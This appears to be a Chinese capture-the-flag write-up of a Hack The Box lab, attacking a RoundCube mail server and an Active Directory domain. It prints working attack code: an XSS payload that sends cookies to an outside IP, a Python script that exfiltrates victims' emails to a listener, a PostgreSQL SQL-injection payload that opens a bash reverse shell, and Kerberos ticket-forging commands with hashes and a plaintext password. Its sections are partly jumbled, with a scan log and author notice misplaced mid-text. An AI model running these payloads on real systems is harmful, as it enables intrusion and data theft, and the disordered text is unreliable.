记一次艰难的多级域内渗透过程
该环境为多个域环境组成,涵盖多个域内知识点及利用过程。
外网打点
端口扫描
使用nmap进行端口探测,发小存在22和80端口开放。

然后探测其确定版本。

子域名枚举
接着进行子域名枚举。

然后发现存在drip这个域名。

访问singup路径,提示404.

接着测试另一个域名:mail.drip.htb.

目录遍历
接着进行目录遍历。


CVE-2024-42009
接着进行漏洞利用,发现是 RoundCube框架的,存在一个cve漏洞。

通过精心构造的电子邮件窃取并发送受害者的电子邮件。

漏洞利用
构建poc,然后进行漏洞尝试。



payload编写
构建payload,然后通过该payload进行文件读写操作
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=document.body.appendChild(Object.assign(document.createElement('script'),{src:'http://10.10.14.8:7777/?c='+document.cookie})) foo=bar">Foo</body>

读取邮件
通过构建好的payload进行文件读取
import sys
import requests
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64
import threading
from lxml import html
# Configuration - 已修改IP和端口
TARGET_URL = 'http://drip.htb/contact'
LISTEN_PORT = 7000 # 端口改为7000
LISTEN_IP = '10.10.16.4' # IP改为10.10.16.4
# Payload for the POST request - 注意这里的回调地址也同步修改了
start_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid='
message = sys.argv[1]
# 回调地址中的IP和端口已同步更新
end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`http://10.10.16.4:7000/c=${btoa(t)}`)) foo=bar">Foo</body>'
post_data = {
'name': 'asdf',
'email': 'asdf',
'message': f"{start_mesg}{message}{end_mesg}",
'content': 'html',
'recipient': 'bcase@drip.htb'
}
print(f"{start_mesg}{message}{end_mesg}")
# Headers for the POST request
headers = {
'Host': 'drip.htb',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'Origin': 'http://drip.htb',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'http://drip.htb/index',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9',
'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE',
'Connection': 'close'
}
# Function to send the POST request
def send_post():
response = requests.post(TARGET_URL, data=post_data, headers=headers)
print(f"[+] POST Request Sent! Status Code: {response.status_code}")
# Custom HTTP request handler to capture and decode the incoming data
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if '/c=' in self.path:
encoded_data = self.path.split('/c=')[1]
decoded_data = base64.b64decode(encoded_data).decode('latin-1')
print(f"[+] Received data {decoded_data}")
tree = html.fromstring(decoded_data)
# XPath query to find the div with id 'messagebody'
message_body = tree.xpath('//div[@id="messagebody"]')
# Check if the div exists and extract the content
if message_body:
print(f"message_body length is:{len(message_body)}")
for bd in message_body:
# Extract inner text, preserving line breaks
message_text = bd.text_content().strip()
print("[+] Extracted Message Body Content:\n")
print(message_text)
else:
print("[!] No div with id 'messagebody' found.")
else:
print("[!] Received request but no data found.")
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
def log_message(self, format, *args):
return # Suppress default logging
# Function to start the HTTP server
def start_server():
server_address = (LISTEN_IP, LISTEN_PORT) # 使用修改后的IP和端口
httpd = HTTPServer(server_address, RequestHandler)
print(f"[+] Listening on {LISTEN_IP}:{LISTEN_PORT} for exfiltrated data...") # 显示修改后的地址
httpd.serve_forever()
# Run the HTTP server in a separate thread
server_thread = threading.Thread(target=start_server)
server_thread.daemon = True
server_thread.start()
# Send the POST request
send_post()
# Keep the main thread alive to continue listening
try:
while True:
pass
except KeyboardInterrupt:
pass成功获取邮件信息。



命令执行漏洞
利用XSS读邮件,在id为2的邮件中发现Analytics dashboard,并且其中提到需要重置密码才能登录:

进入功能模块处,然后尝试进行修改密码


sql注入
验证存在注入,并且可以识别出是PostgreSQL


SQL注入到RCE
'';DO $$
DECLARE
c text;
BEGIN
c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.16.2/4444 0>&1"''';
EXECUTE c;
END $$;
通过pg命令写入,然后成功获取webshell



内网信息收集
成功获取数据库账号和密码

gpg解密
gpg解密,密码就是DB_PASS:


sql中得到一些hash,可以解出victor.r和ebelford的密码



查看hosts可以看到内网的域环境:


内网端口扫描

bloodhound分析
victor.r(低权限,无主域访问 / 即时提权),经无约束委托系统最短路径排查,发现潜在攻击向量,切入点为 taylor.b.adm

TAYLOR.B.ADM@DARKCORP.HTB
MemberOf ➝ GPO_MANAGER@DARKCORP.HTB
这意味着Taylor.B.Admin它是 GPO_MANAGER 组的成员,拥有管理GPO 的权限。
GPO_MANAGER@DARKCORP.HTB
拥有读取/写入组策略权限的组。
WriteOwner ➝ SECURITYUPDATES@DARKCORP.HTB
组成员可以更改对象的所有权(SECURITYUPDATES@DARKCORP.HTB )。
SECURITYUPDATES@DARKCORP.HTB
GPLink ➝域控制器@DARKCORP.HTB
完全控制 GPO 后,我们可以对该 GPO 进行修改,修改后的 GPO 将应用于受该 GPO 影响的 DC。
这意味着修改此 GPO允许我们在 DC 上执行代码。
域名控制器@DARKCORP.HTB
DC-01.DARKCORP.HTB的路径。echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRKKN0Qyva8uiewy0tSifWCTdb16tXnHJ53BxcyRDla root@kali" > ~/.ssh/authorized_keys

NTLM 中继
访问 WEB-01 的 5000 端口,发现 Victor 相关凭据通过身份验证:victor.r/victor1gustavo@#

为分析身份验证机制,通过 BurpSuite 抓包测试;但拦截流量后,即便使用正确凭据也无法再次访问监控器,推测该身份验证基于会话或令牌机制。现核查请求提交阶段的网络流量如下:

域渗透
Relay 攻击
Relaying Kerberos over SMB using krbrelayx
https://www.synacktiv.com/en/publications/relaying-kerberos-over-smb-using-krbrelayx
通过relay添加dns,搜索可以发现用到dns的relay方式
1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb 2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb 3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb

非预期
同样的relay方式也可以直接得到DC,非预期
user 权限
得到web-01机器hash后就是常规s4uself了:
# 获取sid
nxc ldap dc-01.darkcorp.htb -u 'victor.r' -p 'victor1gustavo@#' --get-sid
S-1-5-21-3432610366-2163336488-3604236847
# 生成web-01 ticket
faketime -f "-16m" python3 examples/ticketer.py -nthash 8f33c7fc7ff515c1f358e488fbb8b675 -domain-sid S-1-5-21-3432610366-2163336488-3604236847 -domain darkcorp.htb -spn cifs/web-01.darkcorp.htb Administrator
# 使用ticket认证登录
export KRB5CCNAME=./Administrator.ccache
faketime -f "-16m" python3 examples/wmiexec.py Administrator@web-01.darkcorp.htb -k -no-pass -debug

hashdump解密

Kerberos 中继攻击
在 Kerberos 中继攻击场景中,svc_acc 账户隶属于 DnsAdmins 组(CN=DnsAdmins,CN=Users,DC=darkcorp,DC=htb),该组拥有 DNS 记录修改权限,无需劫持现有记录,可直接添加新记录,这也是 ADIDNS 投毒攻击的核心逻辑。AD 依赖 DNS 运行,AD-DS 的 ADIDNS 机制会将 DNS 记录存储于目录并支持域控间同步;但该方法对机器账户(如 svc_acc$)无效,因其密码由域控自动生成,为高强度随机字符串,无法离线破解。此种情况下需改用 Kerberos 中继攻击,核心是找到支持 Kerberos 认证的 Web 服务作为中继目标(常通过 SSRF 触发认证)。
# For commercial use, please contact the author for authorization. For non-commercial use, please indicate the source.
# License: CC BY-NC-SA 4.0
# Author: Axura
# URL: https://4xura.com/writeups-for-ctfs/htb-writeup-darkcorp/#toc-head-17
# Source: Axura's Blog
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-12 06:00:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Not valid before: 2025-01-22T12:09:55
|_Not valid after: 2124-12-29T12:09:55
|_ssl-date: TLS randomness does not represent time
443/tcp open ssl/http Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=DARKCORP-DC-01-CA
| Not valid before: 2024-12-29T23:24:10
|_Not valid after: 2034-12-29T23:34:10
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Not valid before: 2025-01-22T12:09:55
|_Not valid after: 2124-12-29T12:09:55
|_ssl-date: TLS randomness does not represent time
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Not valid before: 2025-01-22T12:09:55
|_Not valid after: 2124-12-29T12:09:55
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC-01.darkcorp.htb, DNS:darkcorp.htb, DNS:darkcorp
| Not valid before: 2025-01-22T12:09:55
|_Not valid after: 2124-12-29T12:09:55
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows获取root权限
成功获取root权限


外网扫描发现80/22端口,枚举子域名定位mail.drip.htb,利用CVE-2024-42009(RoundCube XSS)窃取邮件,结合SQL注入+PostgreSQL命令执行获取Webshell,内网通过GPO滥用与Kerberos中继攻陷域控。
由 AI 根据全文自动生成,仅供参考,以原文为准